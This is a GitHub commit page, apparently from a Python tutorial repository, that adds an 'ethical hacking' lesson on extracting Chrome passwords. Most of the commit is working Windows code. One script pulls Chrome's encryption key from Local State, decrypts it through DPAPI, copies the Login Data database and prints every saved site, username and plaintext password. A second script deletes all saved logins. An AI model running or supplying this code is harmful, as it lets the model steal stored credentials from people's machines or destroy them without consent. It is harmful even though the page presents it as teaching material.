Skip to content

Commit dcccd00

Browse files
committed
add extracting chrome passwords tutorial
1 parent 8453674 commit dcccd00

File tree

5 files changed

+124
-0
lines changed

5 files changed

+124
-0
lines changed

README.md

+1
Original file line numberDiff line numberDiff line change
@@ -29,6 +29,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
2929
- [How to Crack Zip File Passwords in Python](https://www.thepythoncode.com/article/crack-zip-file-password-in-python). ([code](ethical-hacking/zipfile-cracker))
3030
- [How to Crack PDF Files in Python](https://www.thepythoncode.com/article/crack-pdf-file-password-in-python). ([code](ethical-hacking/pdf-cracker))
3131
- [How to Build a SQL Injection Scanner in Python](https://www.thepythoncode.com/code/sql-injection-vulnerability-detector-in-python). ([code](ethical-hacking/sql-injection-detector))
32+
- [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python). ([code](ethical-hacking/chrome-password-extractor))
3233

3334
- ### [Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
3435
- ### [Natural Language Processing](https://www.thepythoncode.com/topic/nlp)
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
# [How to Extract Chrome Passwords in Python](https://www.thepythoncode.com/article/extract-chrome-passwords-python)
2+
To run this:
3+
- `pip3 install -r requirements.txt`
4+
- To extract Chrome passwords on Windows, run:
5+
```
6+
python chromepass.py
7+
```
8+
- To delete saved passwords on Chrome:
9+
```
10+
python delete_chromepass.py
11+
```
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
import os
2+
import json
3+
import base64
4+
import sqlite3
5+
import win32crypt
6+
from Crypto.Cipher import AES
7+
import shutil
8+
from datetime import timezone, datetime, timedelta
9+
10+
def get_chrome_datetime(chromedate):
11+
"""Return a `datetime.datetime` object from a chrome format datetime
12+
Since `chromedate` is formatted as the number of microseconds since January, 1601"""
13+
return datetime(1601, 1, 1) + timedelta(microseconds=chromedate)
14+
15+
def get_encryption_key():
16+
local_state_path = os.path.join(os.environ["USERPROFILE"],
17+
"AppData", "Local", "Google", "Chrome",
18+
"User Data", "Local State")
19+
with open(local_state_path, "r", encoding="utf-8") as f:
20+
local_state = f.read()
21+
local_state = json.loads(local_state)
22+
23+
# decode the encryption key from Base64
24+
key = base64.b64decode(local_state["os_crypt"]["encrypted_key"])
25+
# remove DPAPI str
26+
key = key[5:]
27+
# return decrypted key that was originally encrypted
28+
# using a session key derived from current user's logon credentials
29+
# doc: http://timgolden.me.uk/pywin32-docs/win32crypt.html
30+
return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1]
31+
32+
33+
def decrypt_password(password, key):
34+
try:
35+
# get the initialization vector
36+
iv = password[3:15]
37+
password = password[15:]
38+
# generate cipher
39+
cipher = AES.new(key, AES.MODE_GCM, iv)
40+
# decrypt password
41+
return cipher.decrypt(password)[:-16].decode()
42+
except:
43+
try:
44+
return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1])
45+
except:
46+
# not supported
47+
return ""
48+
49+
50+
def main():
51+
# get the AES key
52+
key = get_encryption_key()
53+
# local sqlite Chrome database path
54+
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
55+
"Google", "Chrome", "User Data", "default", "Login Data")
56+
# copy the file to another location
57+
# as the database will be locked if chrome is currently running
58+
filename = "ChromeData.db"
59+
shutil.copyfile(db_path, filename)
60+
# connect to the database
61+
db = sqlite3.connect(filename)
62+
cursor = db.cursor()
63+
# `logins` table has the data we need
64+
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
65+
# iterate over all rows
66+
for row in cursor.fetchall():
67+
origin_url = row[0]
68+
action_url = row[1]
69+
username = row[2]
70+
password = decrypt_password(row[3], key)
71+
date_created = row[4]
72+
date_last_used = row[5]
73+
if username or password:
74+
print(f"Origin URL: {origin_url}")
75+
print(f"Action URL: {action_url}")
76+
print(f"Username: {username}")
77+
print(f"Password: {password}")
78+
else:
79+
continue
80+
if date_created != 86400000000 and date_created:
81+
print(f"Creation date: {str(get_chrome_datetime(date_created))}")
82+
if date_last_used != 86400000000 and date_last_used:
83+
print(f"Last Used: {str(get_chrome_datetime(date_last_used))}")
84+
print("="*50)
85+
86+
cursor.close()
87+
db.close()
88+
try:
89+
# try to remove the copied db file
90+
os.remove(filename)
91+
except:
92+
pass
93+
94+
95+
if __name__ == "__main__":
96+
main()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,14 @@
1+
import sqlite3
2+
import os
3+
4+
db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local",
5+
"Google", "Chrome", "User Data", "default", "Login Data")
6+
7+
db = sqlite3.connect(db_path)
8+
cursor = db.cursor()
9+
# `logins` table has the data we need
10+
cursor.execute("select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created")
11+
n_logins = len(cursor.fetchall())
12+
print(f"Deleting a total of {n_logins} logins...")
13+
cursor.execute("delete from logins")
14+
cursor.connection.commit()
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
pypiwin32
2+
pycryptodome

0 commit comments

Comments
 (0)